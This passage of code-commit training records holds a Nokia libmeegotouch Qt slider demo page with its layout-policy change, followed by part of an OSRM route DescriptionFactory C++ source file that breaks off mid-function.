\"Player:\"\n    playerContainer->setTitle(qtTrId(\"xx_slider_player_label\"));\n\n    playerSeekBar->setMinLabelVisible(true);\n    playerSeekBar->setMaxLabelVisible(true);\n    playerSeekBar->setHandleLabelVisible(true);\n\n    playerSeekBar->setMinimum(0);\n    playerSeekBar->setMaximum(playTime);\n\n    int minutes = (playTime \/ 10) \/ 60;\n    int seconds = (playTime \/ 10) % 60;\n\n    playerSeekBar->setMinLabel(\"0:00\");\n\n    \/\/minutes on one digit seconds on two digits\n    playerSeekBar->setMaxLabel(QString(\"%1:%2\").arg(minutes).arg(seconds, 2, 10, QChar('0')));\n\n    modifyPlayerSeekBarHandle(playerSeekBar->minimum());\n\n    \/\/% \"Brightness:\"\n    brightnessContainer->setTitle(qtTrId(\"xx_slider_brightness_label\"));\n\n    brightnessSlider->setRange(0, 100);\n    brightnessSlider->setMinLabelVisible(true);\n    brightnessSlider->setMaxLabelVisible(true);\n    brightnessSlider->setHandleLabelVisible(true);\n\n    brightnessSlider->setMinLabelIconID(\"icon-m-common-strength1\");\n    brightnessSlider->setMaxLabelIconID(\"icon-m-common-strength5\");\n\n    modifyBrightnessSliderHandle(brightnessSlider->value());\n\n    update();\n}\n\nvoid SliderPage::modifyAgeSliderHandle(int newValue)\n{\n    ageSlider->setHandleLabel(QString::number(newValue));\n}\n\nvoid SliderPage::playerButtonClicked()\n{\n    QTimer::singleShot(0, this, SLOT(playTimesliceElapsed()));\n\n    loadedContentMinimum = 0;\n    loadedContentMaximum = 0;\n    playerSeekBar->setLoadedContentMinimum(loadedContentMinimum);\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n\n    QTimer::singleShot(0, this, SLOT(loadContentTimesliceElapsed()));\n}\n\nvoid SliderPage::playTimesliceElapsed()\n{\n    if (playerSeekBar->value() < playerSeekBar->maximum())\n        if (!playerSeekBarIsPressed)\n            playerSeekBar->setValue(playerSeekBar->value() + 1);\n\n    if (playerSeekBar->value() < playerSeekBar->maximum())\n        QTimer::singleShot(100, this, SLOT(playTimesliceElapsed()));\n}\n\nvoid SliderPage::loadContentTimesliceElapsed()\n{\n    if (loadedContentMaximum < playTime)\n        loadedContentMaximum++;\n\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n\n    if (loadedContentMaximum < playTime)\n        QTimer::singleShot(30, this, SLOT(loadContentTimesliceElapsed()));\n}\n\nvoid SliderPage::modifyPlayerSeekBarHandle(int newValue)\n{\n    int minutes = (newValue \/ 10) \/ 60;\n    int seconds = (newValue \/ 10) % 60;\n\n    playerSeekBar->setHandleLabel(QString(\"%1:%2\").arg(minutes).arg(seconds, 2, 10, QChar('0')));\n}\n\nvoid SliderPage::playerSeekBarPressed()\n{\n    playerSeekBarIsPressed = true;\n}\n\nvoid SliderPage::playerSeekBarReleased()\n{\n    playerSeekBarIsPressed = false;\n}\n\nvoid SliderPage::playerOutOfLoadedContentRange()\n{\n    loadedContentMinimum = playerSeekBar->value();\n    loadedContentMaximum = playerSeekBar->value();\n\n    playerSeekBar->setLoadedContentMinimum(loadedContentMinimum);\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n}\n\nvoid SliderPage::modifyBrightnessSliderHandle(int newValue)\n{\n    brightnessSlider->setHandleLabel(QString::number(newValue) + '%');\n}\n<commit_msg>Changes: Setting up separate landscape \/ protrait layout policy for layout containing          age label and age slider<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"sliderpage.h\"\n\n#include <MContainer>\n#include <MLabel>\n#include <MButton>\n#include <MSlider>\n#include <MSeekBar>\n#include <MLayout>\n#include <MLocale>\n#include <MApplicationPage>\n#include <MLinearLayoutPolicy>\n#include <QTimer>\n\nSliderPage::SliderPage() :\n    TemplatePage(),\n    ageLabel(0),\n    ageSlider(0),\n    ageContainer(0),\n    playerSeekBar(0),\n    playerButton(0),\n    playerContainer(0),\n    playTime(1230),\n    playerSeekBarIsPressed(false),\n    loadedContentMinimum(0),\n    loadedContentMaximum(0),\n    brightnessSlider(0),\n    brightnessContainer(0)\n{\n    gid = TemplatePage::LayoutsAndVisuals;\n}\n\nSliderPage::~SliderPage()\n{\n}\n\nQString SliderPage::timedemoTitle()\n{\n    return \"Slider\";\n}\n\nvoid SliderPage::createContent()\n{\n    TemplatePage::createContent();\n\n    MLayout *ageLayout = new MLayout;\n\n    MLinearLayoutPolicy *horizontalAgeLayoutPolicy = new MLinearLayoutPolicy(ageLayout, Qt::Horizontal);\n    horizontalAgeLayoutPolicy->setSpacing(0);\n    horizontalAgeLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    MLinearLayoutPolicy *verticalAgeLayoutPolicy = new MLinearLayoutPolicy(ageLayout, Qt::Vertical);\n    verticalAgeLayoutPolicy->setSpacing(0);\n    verticalAgeLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    ageLayout->setLandscapePolicy(horizontalAgeLayoutPolicy);\n    ageLayout->setPortraitPolicy(verticalAgeLayoutPolicy);\n\n    ageLabel = new MLabel;\n    ageLabel->setTextElide(true);\n\n    horizontalAgeLayoutPolicy->addItem(ageLabel);\n    horizontalAgeLayoutPolicy->setStretchFactor(ageLabel, 0);\n    verticalAgeLayoutPolicy->addItem(ageLabel);\n    verticalAgeLayoutPolicy->setStretchFactor(ageLabel, 0);\n\n    ageSlider = new MSlider;\n    horizontalAgeLayoutPolicy->addItem(ageSlider);\n    horizontalAgeLayoutPolicy->setStretchFactor(ageSlider, 1);\n    verticalAgeLayoutPolicy->addItem(ageSlider);\n    verticalAgeLayoutPolicy->setStretchFactor(ageSlider, 1);\n\n    ageContainer = new MContainer;\n    ageContainer->centralWidget()->setLayout(ageLayout);\n    containerPolicy->addItem(ageContainer);\n\n    QObject::connect(ageSlider, SIGNAL(valueChanged(int)), this, SLOT(modifyAgeSliderHandle(int)));\n\n    MLayout *playerLayout = new MLayout;\n    MLinearLayoutPolicy *playerLayoutPolicy = new MLinearLayoutPolicy(playerLayout, Qt::Horizontal);\n    playerLayoutPolicy->setSpacing(0);\n    playerLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    playerButton = new MButton;\n    playerButton->setViewType(MButton::iconType);\n    playerButton->setIconID(\"icon-m-common-play\");\n    playerLayoutPolicy->addItem(playerButton, Qt::AlignCenter);\n    playerLayoutPolicy->setStretchFactor(playerButton, 0);\n\n    playerSeekBar = new MSeekBar;\n    playerLayoutPolicy->addItem(playerSeekBar);\n    playerLayoutPolicy->setStretchFactor(playerSeekBar, 1);\n\n    playerContainer = new MContainer;\n    playerContainer->centralWidget()->setLayout(playerLayout);\n    containerPolicy->addItem(playerContainer);\n\n    QObject::connect(playerSeekBar, SIGNAL(valueChanged(int)), this, SLOT(modifyPlayerSeekBarHandle(int)));\n    QObject::connect(playerSeekBar, SIGNAL(sliderPressed()), this, SLOT(playerSeekBarPressed()));\n    QObject::connect(playerSeekBar, SIGNAL(sliderReleased()), this, SLOT(playerSeekBarReleased()));\n    QObject::connect(playerSeekBar, SIGNAL(outOfLoadedContentRange()), this, SLOT(playerOutOfLoadedContentRange()));\n\n    QObject::connect(playerButton, SIGNAL(clicked()), this, SLOT(playerButtonClicked()));\n\n    MLayout *brightnessLayout = new MLayout;\n    MLinearLayoutPolicy *brightnessLayoutPolicy = new MLinearLayoutPolicy(brightnessLayout, Qt::Horizontal);\n    brightnessLayoutPolicy->setSpacing(0);\n    brightnessLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    brightnessSlider = new MSlider;\n    brightnessLayoutPolicy->addItem(brightnessSlider);\n\n    brightnessContainer = new MContainer;\n    brightnessContainer->centralWidget()->setLayout(brightnessLayout);\n    containerPolicy->addItem(brightnessContainer);\n\n    QObject::connect(brightnessSlider, SIGNAL(valueChanged(int)), this, SLOT(modifyBrightnessSliderHandle(int)));\n\n    retranslateUi();\n}\n\nvoid SliderPage::createLayout()\n{\n    layout = new MLayout(centralWidget());\n\n    landscapePolicy = new MLinearLayoutPolicy(layout, Qt::Vertical);\n    landscapePolicy->setContentsMargins(0, 30, 0, 0);\n\n    portraitPolicy = new MLinearLayoutPolicy(layout, Qt::Vertical);\n    portraitPolicy->setContentsMargins(0, 30, 0, 0);\n\n    layout->setLandscapePolicy(landscapePolicy);\n    layout->setPortraitPolicy(portraitPolicy);\n\n    container = new MWidget;\n\n    infoLabel = new MLabel;\n    infoLabel->setWordWrap(true);\n    infoLabel->setAlignment(Qt::AlignTop);\n\n    landscapePolicy->addItem(infoLabel);\n    landscapePolicy->addItem(container);\n\n    portraitPolicy->addItem(infoLabel);\n    portraitPolicy->addItem(container);\n}\n\nvoid SliderPage::retranslateUi()\n{\n    \/\/% \"Sliders\"\n    setTitle(qtTrId(\"xx_slider_page_title\"));\n    if (!isContentCreated())\n        return;\n\n    \/\/% \"Slider is used for continuous set of values, \"\n    \/\/% \"among which user can choose one value.\\n\\n\"\n    \/\/% \"Seekbar is a special type of Slider used for \"\n    \/\/% \"displaying playback status for multimedia content.\"\n    infoLabel->setText(\"<a><\/a>\" + qtTrId(\"xx_slider_page_info_label\"));\n\n    \/\/% \"Personal data\"\n    ageContainer->setTitle(qtTrId(\"xx_slider_personal_data_label\"));\n\n    \/\/ The engineering English below has lengthvariants:\n    \/\/% \"Please select your age:\\x9c!! Please select your age:\\x9c!! Please select your age:\\x9c!! Age:\"\n    ageLabel->setText(qtTrId(\"xx_slider_age_label\"));\n\n    ageSlider->setRange(0, 100);\n    ageSlider->setMinLabelVisible(true);\n    ageSlider->setMaxLabelVisible(true);\n    ageSlider->setHandleLabelVisible(true);\n\n    ageSlider->setMinLabel(QString::number(ageSlider->minimum()));\n    ageSlider->setMaxLabel(QString::number(ageSlider->maximum()));\n\n    modifyAgeSliderHandle(ageSlider->value());\n\n    \/\/% \"Player:\"\n    playerContainer->setTitle(qtTrId(\"xx_slider_player_label\"));\n\n    playerSeekBar->setMinLabelVisible(true);\n    playerSeekBar->setMaxLabelVisible(true);\n    playerSeekBar->setHandleLabelVisible(true);\n\n    playerSeekBar->setMinimum(0);\n    playerSeekBar->setMaximum(playTime);\n\n    int minutes = (playTime \/ 10) \/ 60;\n    int seconds = (playTime \/ 10) % 60;\n\n    playerSeekBar->setMinLabel(\"0:00\");\n\n    \/\/minutes on one digit seconds on two digits\n    playerSeekBar->setMaxLabel(QString(\"%1:%2\").arg(minutes).arg(seconds, 2, 10, QChar('0')));\n\n    modifyPlayerSeekBarHandle(playerSeekBar->minimum());\n\n    \/\/% \"Brightness:\"\n    brightnessContainer->setTitle(qtTrId(\"xx_slider_brightness_label\"));\n\n    brightnessSlider->setRange(0, 100);\n    brightnessSlider->setMinLabelVisible(true);\n    brightnessSlider->setMaxLabelVisible(true);\n    brightnessSlider->setHandleLabelVisible(true);\n\n    brightnessSlider->setMinLabelIconID(\"icon-m-common-strength1\");\n    brightnessSlider->setMaxLabelIconID(\"icon-m-common-strength5\");\n\n    modifyBrightnessSliderHandle(brightnessSlider->value());\n\n    update();\n}\n\nvoid SliderPage::modifyAgeSliderHandle(int newValue)\n{\n    ageSlider->setHandleLabel(QString::number(newValue));\n}\n\nvoid SliderPage::playerButtonClicked()\n{\n    QTimer::singleShot(0, this, SLOT(playTimesliceElapsed()));\n\n    loadedContentMinimum = 0;\n    loadedContentMaximum = 0;\n    playerSeekBar->setLoadedContentMinimum(loadedContentMinimum);\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n\n    QTimer::singleShot(0, this, SLOT(loadContentTimesliceElapsed()));\n}\n\nvoid SliderPage::playTimesliceElapsed()\n{\n    if (playerSeekBar->value() < playerSeekBar->maximum())\n        if (!playerSeekBarIsPressed)\n            playerSeekBar->setValue(playerSeekBar->value() + 1);\n\n    if (playerSeekBar->value() < playerSeekBar->maximum())\n        QTimer::singleShot(100, this, SLOT(playTimesliceElapsed()));\n}\n\nvoid SliderPage::loadContentTimesliceElapsed()\n{\n    if (loadedContentMaximum < playTime)\n        loadedContentMaximum++;\n\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n\n    if (loadedContentMaximum < playTime)\n        QTimer::singleShot(30, this, SLOT(loadContentTimesliceElapsed()));\n}\n\nvoid SliderPage::modifyPlayerSeekBarHandle(int newValue)\n{\n    int minutes = (newValue \/ 10) \/ 60;\n    int seconds = (newValue \/ 10) % 60;\n\n    playerSeekBar->setHandleLabel(QString(\"%1:%2\").arg(minutes).arg(seconds, 2, 10, QChar('0')));\n}\n\nvoid SliderPage::playerSeekBarPressed()\n{\n    playerSeekBarIsPressed = true;\n}\n\nvoid SliderPage::playerSeekBarReleased()\n{\n    playerSeekBarIsPressed = false;\n}\n\nvoid SliderPage::playerOutOfLoadedContentRange()\n{\n    loadedContentMinimum = playerSeekBar->value();\n    loadedContentMaximum = playerSeekBar->value();\n\n    playerSeekBar->setLoadedContentMinimum(loadedContentMinimum);\n    playerSeekBar->setLoadedContentMaximum(loadedContentMaximum);\n}\n\nvoid SliderPage::modifyBrightnessSliderHandle(int newValue)\n{\n    brightnessSlider->setHandleLabel(QString::number(newValue) + '%');\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2015, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"description_factory.hpp\"\n\n#include \"..\/algorithms\/polyline_formatter.hpp\"\n#include \"..\/data_structures\/coordinate_calculation.hpp\"\n#include \"..\/data_structures\/internal_route_result.hpp\"\n#include \"..\/data_structures\/turn_instructions.hpp\"\n#include \"..\/typedefs.h\"\n\nDescriptionFactory::DescriptionFactory() : entire_length(0) { via_indices.push_back(0); }\n\nstd::vector<unsigned> const &DescriptionFactory::GetViaIndices() const { return via_indices; }\n\nvoid DescriptionFactory::SetStartSegment(const PhantomNode &source, const bool traversed_in_reverse)\n{\n    start_phantom = source;\n    const EdgeWeight segment_duration =\n        (traversed_in_reverse ? source.reverse_weight : source.forward_weight);\n    const TravelMode travel_mode =\n        (traversed_in_reverse ? source.backward_travel_mode : source.forward_travel_mode);\n    AppendSegment(\n        source.location,\n        PathData(0, source.name_id, TurnInstruction::HeadOn, segment_duration, travel_mode));\n    BOOST_ASSERT(path_description.back().duration == segment_duration);\n}\n\nvoid DescriptionFactory::SetEndSegment(const PhantomNode &target,\n                                       const bool traversed_in_reverse,\n                                       const bool is_via_location)\n{\n    target_phantom = target;\n    const EdgeWeight segment_duration =\n        (traversed_in_reverse ? target.reverse_weight : target.forward_weight);\n    const TravelMode travel_mode =\n        (traversed_in_reverse ? target.backward_travel_mode : target.forward_travel_mode);\n    path_description.emplace_back(target.location,\n                                  target.name_id,\n                                  segment_duration,\n                                  0.f,\n                                  is_via_location ? TurnInstruction::ReachViaLocation\n                                                  : TurnInstruction::NoTurn,\n                                  true,\n                                  true,\n                                  travel_mode);\n    BOOST_ASSERT(path_description.back().duration == segment_duration);\n}\n\nvoid DescriptionFactory::AppendSegment(const FixedPointCoordinate &coordinate,\n                                       const PathData &path_point)\n{\n    \/\/ if the start location is on top of a node, the first movement might be zero-length,\n    \/\/ in which case we dont' add a new description, but instead update the existing one\n    if ((1 == path_description.size()) && (path_description.front().location == coordinate))\n    {\n        if (path_point.segment_duration > 0)\n        {\n            path_description.front().name_id = path_point.name_id;\n            path_description.front().travel_mode = path_point.travel_mode;\n        }\n        return;\n    }\n\n    \/\/ make sure mode changes are announced, even when there otherwise is no turn\n    const TurnInstruction turn = [&]() -> TurnInstruction\n    {\n        if (TurnInstruction::NoTurn == path_point.turn_instruction &&\n            path_description.front().travel_mode != path_point.travel_mode &&\n            path_point.segment_duration > 0)\n        {\n            return TurnInstruction::GoStraight;\n        }\n        return path_point.turn_instruction;\n    }();\n\n    path_description.emplace_back(coordinate,\n                                  path_point.name_id,\n                                  path_point.segment_duration,\n                                  0.f,\n                                  turn,\n                                  path_point.travel_mode);\n}\n\nJSON::Value DescriptionFactory::AppendGeometryString(const bool return_encoded)\n{\n    if (return_encoded)\n    {\n        return PolylineFormatter().printEncodedString(path_description);\n    }\n    return PolylineFormatter().printUnencodedString(path_description);\n}\n\nvoid DescriptionFactory::BuildRouteSummary(const double distance, const unsigned time)\n{\n    summary.source_name_id = start_phantom.name_id;\n    summary.target_name_id = target_phantom.name_id;\n    summary.BuildDurationAndLengthStrings(distance, time);\n}\n\nvoid DescriptionFactory::Run(const unsigned zoom_level)\n{\n    if (path_description.empty())\n    {\n        return;\n    }\n\n    \/** starts at index 1 *\/\n    path_description[0].length = 0;\n    for (unsigned i = 1; i < path_description.size(); ++i)\n    {\n        \/\/ move down names by one, q&d hack\n        path_description[i - 1].name_id = path_description[i].name_id;\n        path_description[i].length = coordinate_calculation::approx_euclidean_distance(\n            path_description[i - 1].location, path_description[i].location);\n    }\n\n    \/*Simplify turn instructions\n    Input :\n    10. Turn left on B 36 for 20 km\n    11. Continue on B 35; B 36 for 2 km\n    12. Continue on B 36 for 13 km\n\n    becomes:\n    10. Turn left on B 36 for 35 km\n    *\/\n    \/\/ TODO: rework to check only end and start of string.\n    \/\/      stl string is way to expensive\n\n    \/\/    unsigned lastTurn = 0;\n    \/\/    for(unsigned i = 1; i < path_description.size(); ++i) {\n    \/\/        string1 = sEngine.GetEscapedNameForNameID(path_description[i].name_id);\n    \/\/        if(TurnInstruction::GoStraight == path_description[i].turn_instruction) {\n    \/\/            if(std::string::npos != string0.find(string1+\";\")\n    \/\/                  || std::string::npos != string0.find(\";\"+string1)\n    \/\/                  || std::string::npos != string0.find(string1+\" ;\")\n    \/\/                    || std::string::npos != string0.find(\"; \"+string1)\n    \/\/                    ){\n    \/\/                SimpleLogger().Write() << \"->next correct: \" << string0 << \" contains \" <<\n    \/\/                string1;\n    \/\/                for(; lastTurn != i; ++lastTurn)\n    \/\/                    path_description[lastTurn].name_id = path_description[i].name_id;\n    \/\/                path_description[i].turn_instruction = TurnInstruction::NoTurn;\n    \/\/            } else if(std::string::npos != string1.find(string0+\";\")\n    \/\/                  || std::string::npos != string1.find(\";\"+string0)\n    \/\/                    || std::string::npos != string1.find(string0+\" ;\")\n    \/\/                    || std::string::npos != string1.find(\"; \"+string0)\n    \/\/                    ){\n    \/\/                SimpleLogger().Write() << \"->prev correct: \" << string1 << \" contains \" <<\n    \/\/                string0;\n    \/\/                path_description[i].name_id = path_description[i-1].name_id;\n    \/\/                path_description[i].turn_instruction = TurnInstruction::NoTurn;\n    \/\/            }\n    \/\/        }\n    \/\/        if (TurnInstruction::NoTurn != path_description[i].turn_instruction) {\n    \/\/            lastTurn = i;\n    \/\/        }\n    \/\/        string0 = string1;\n    \/\/    }\n\n    float segment_length = 0.;\n    unsigned segment_duration = 0;\n    unsigned segment_start_index = 0;\n\n    for (unsigned i = 1; i < path_description.size(); ++i)\n    {\n        entire_length += path_description[i].length;\n        segment_length += path_description[i].length;\n        segment_duration += path_description[i].duration;\n        path_description[segment_start_index].length = segment_length;\n        path_description[segment_start_index].duration = segment_duration;\n\n        if (TurnInstruction::NoTurn != path_description[i].turn_instruction)\n        {\n            BOOST_ASSERT(path_description[i].necessary);\n            segment_length = 0;\n            segment_duration = 0;\n            segment_start_index = i;\n        }\n    }\n\n    \/\/ Post-processing to remove empty or nearly empty path segments\n    if (std::numeric_limits<double>::epsilon() > path_description.back().length)\n    {\n        if (path_description.size() > 2)\n        {\n            path_description.pop_back();\n            path_description.back().necessary = true;\n            path_description.back().turn_instruction = TurnInstruction::NoTurn;\n            target_phantom.name_id = (path_description.end() - 2)->name_id;\n        }\n    }\n    if (std::numeric_limits<double>::epsilon() > path_description.front().length)\n    {\n        if (path_description.size() > 2)\n        {\n            path_description.erase(path_description.begin());\n            path_description.front().turn_instruction = TurnInstruction::HeadOn;\n            path_description.front().necessary = true;\n            start_phantom.name_id = path_description.front().name_id;\n        }\n    }\n\n    \/\/ Generalize poly line\n    polyline_generalizer.Run(path_description.begin(), path_description.end(), zoom_level);\n\n    \/\/ fix what needs to be fixed else\n    unsigned necessary_pieces = 0; \/\/ a running index that counts the necessary pieces\n    for (unsigned i = 0; i < path_description.size() - 1 && path_description.size() >= 2; ++i)\n    {\n        if (path_description[i].necessary)\n        {\n            ++necessary_pieces;\n            if (path_description[i].is_via_location)\n            { \/\/ mark the end of a leg\n                via_indices.push_back(necessary_pieces);\n            }\n            const double angle =\n                path_description[i + 1].location.GetBearing(path_description[i].location);\n            path_description[i].bearing = static_cast<unsigned>(angle * 10);\n        }\n    }\n    via_indices.push_back(necessary_pieces + 1);\n    BOOST_ASSERT(via_indices.size() >= 2);\n    \/\/ BOOST_ASSERT(0 != necessary_pieces || path_description.empty());\n    return;\n}\n<commit_msg>conflate collapsable if statements<commit_after>\/*\n\nCopyright (c) 2015, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"description_factory.hpp\"\n\n#include \"..\/algorithms\/polyline_formatter.hpp\"\n#include \"..\/data_structures\/coordinate_calculation.hpp\"\n#include \"..\/data_structures\/internal_route_result.hpp\"\n#include \"..\/data_structures\/turn_instructions.hpp\"\n#include \"..\/typedefs.h\"\n\nDescriptionFactory::DescriptionFactory() : entire_length(0) { via_indices.push_back(0); }\n\nstd::vector<unsigned> const &DescriptionFactory::GetViaIndices() const { return via_indices; }\n\nvoid DescriptionFactory::SetStartSegment(const PhantomNode &source, const bool traversed_in_reverse)\n{\n    start_phantom = source;\n    const EdgeWeight segment_duration =\n        (traversed_in_reverse ? source.reverse_weight : source.forward_weight);\n    const TravelMode travel_mode =\n        (traversed_in_reverse ? source.backward_travel_mode : source.forward_travel_mode);\n    AppendSegment(\n        source.location,\n        PathData(0, source.name_id, TurnInstruction::HeadOn, segment_duration, travel_mode));\n    BOOST_ASSERT(path_description.back().duration == segment_duration);\n}\n\nvoid DescriptionFactory::SetEndSegment(const PhantomNode &target,\n                                       const bool traversed_in_reverse,\n                                       const bool is_via_location)\n{\n    target_phantom = target;\n    const EdgeWeight segment_duration =\n        (traversed_in_reverse ? target.reverse_weight : target.forward_weight);\n    const TravelMode travel_mode =\n        (traversed_in_reverse ? target.backward_travel_mode : target.forward_travel_mode);\n    path_description.emplace_back(target.location,\n                                  target.name_id,\n                                  segment_duration,\n                                  0.f,\n                                  is_via_location ? TurnInstruction::ReachViaLocation\n                                                  : TurnInstruction::NoTurn,\n                                  true,\n                                  true,\n                                  travel_mode);\n    BOOST_ASSERT(path_description.back().duration == segment_duration);\n}\n\nvoid DescriptionFactory::AppendSegment(const FixedPointCoordinate &coordinate,\n                                       const PathData &path_point)\n{\n    \/\/ if the start location is on top of a node, the first movement might be zero-length,\n    \/\/ in which case we dont' add a new description, but instead update the existing one\n    if ((1 == path_description.size()) && (path_description.front().location == coordinate))\n    {\n        if (path_point.segment_duration > 0)\n        {\n            path_description.front().name_id = path_point.name_id;\n            path_description.front().travel_mode = path_point.travel_mode;\n        }\n        return;\n    }\n\n    \/\/ make sure mode changes are announced, even when there otherwise is no turn\n    const TurnInstruction turn = [&]() -> TurnInstruction\n    {\n        if (TurnInstruction::NoTurn == path_point.turn_instruction &&\n            path_description.front().travel_mode != path_point.travel_mode &&\n            path_point.segment_duration > 0)\n        {\n            return TurnInstruction::GoStraight;\n        }\n        return path_point.turn_instruction;\n    }();\n\n    path_description.emplace_back(coordinate,\n                                  path_point.name_id,\n                                  path_point.segment_duration,\n                                  0.f,\n                                  turn,\n                                  path_point.travel_mode);\n}\n\nJSON::Value DescriptionFactory::AppendGeometryString(const bool return_encoded)\n{\n    if (return_encoded)\n    {\n        return PolylineFormatter().printEncodedString(path_description);\n    }\n    return PolylineFormatter().printUnencodedString(path_description);\n}\n\nvoid DescriptionFactory::BuildRouteSummary(const double distance, const unsigned time)\n{\n    summary.source_name_id = start_phantom.name_id;\n    summary.target_name_id = target_phantom.name_id;\n    summary.BuildDurationAndLengthStrings(distance, time);\n}\n\nvoid DescriptionFactory::Run(const unsigned zoom_level)\n{\n    if (path_description.empty())\n    {\n        return;\n    }\n\n    \/** starts at index 1 *\/\n    path_description[0].length = 0;\n    for (unsigned i = 1; i < path_description.size(); ++i)\n    {\n        \/\/ move down names by one, q&d hack\n        path_description[i - 1].name_id = path_description[i].name_id;\n        path_description[i].length = coordinate_calculation::approx_euclidean_distance(\n            path_description[i - 1].location, path_description[i].location);\n    }\n\n    \/*Simplify turn instructions\n    Input :\n    10. Turn left on B 36 for 20 km\n    11. Continue on B 35; B 36 for 2 km\n    12. Continue on B 36 for 13 km\n\n    becomes:\n    10. Turn left on B 36 for 35 km\n    *\/\n    \/\/ TODO: rework to check only end and start of string.\n    \/\/      stl string is way to expensive\n\n    \/\/    unsigned lastTurn = 0;\n    \/\/    for(unsigned i = 1; i < path_description.size(); ++i) {\n    \/\/        string1 = sEngine.GetEscapedNameForNameID(path_description[i].name_id);\n    \/\/        if(TurnInstruction::GoStraight == path_description[i].turn_instruction) {\n    \/\/            if(std::string::npos != string0.find(string1+\";\")\n    \/\/                  || std::string::npos != string0.find(\";\"+string1)\n    \/\/                  || std::string::npos != string0.find(string1+\" ;\")\n    \/\/                    || std::string::npos != string0.find(\"; \"+string1)\n    \/\/                    ){\n    \/\/                SimpleLogger().Write() << \"->next correct: \" << string0 << \" contains \" <<\n    \/\/                string1;\n    \/\/                for(; lastTurn != i; ++lastTurn)\n    \/\/                    path_description[lastTurn].name_id = path_description[i].name_id;\n    \/\/                path_description[i].turn_instruction = TurnInstruction::NoTurn;\n    \/\/            } else if(std::string::npos != string1.find(string0+\";\")\n    \/\/                  || std::string::npos != string1.find(\";\"+string0)\n    \/\/                    || std::string::npos != string1.find(string0+\" ;\")\n    \/\/                    || std::string::npos != string1.find(\"; \"+string0)\n    \/\/                    ){\n    \/\/                SimpleLogger().Write() << \"->prev correct: \" << string1 << \" contains \" <<\n    \/\/                string0;\n    \/\/                path_description[i].name_id = path_description[i-1].name_id;\n    \/\/                path_description[i].turn_instruction = TurnInstruction::NoTurn;\n    \/\/            }\n    \/\/        }\n    \/\/        if (TurnInstruction::NoTurn != path_description[i].turn_instruction) {\n    \/\/            lastTurn = i;\n    \/\/        }\n    \/\/        string0 = string1;\n    \/\/    }\n\n    float segment_length = 0.;\n    unsigned segment_duration = 0;\n    unsigned segment_start_index = 0;\n\n    for (unsigned i = 1; i < path_description.size(); ++i)\n    {\n        entire_length += path_description[i].length;\n        segment_length += path_description[i].length;\n        segment_duration += path_description[i].duration;\n        path_description[segment_start_index].length = segment_length;\n        path_description[segment_start_index].duration = segment_duration;\n\n        if (TurnInstruction::NoTurn != path_description[i].turn_instruction)\n        {\n            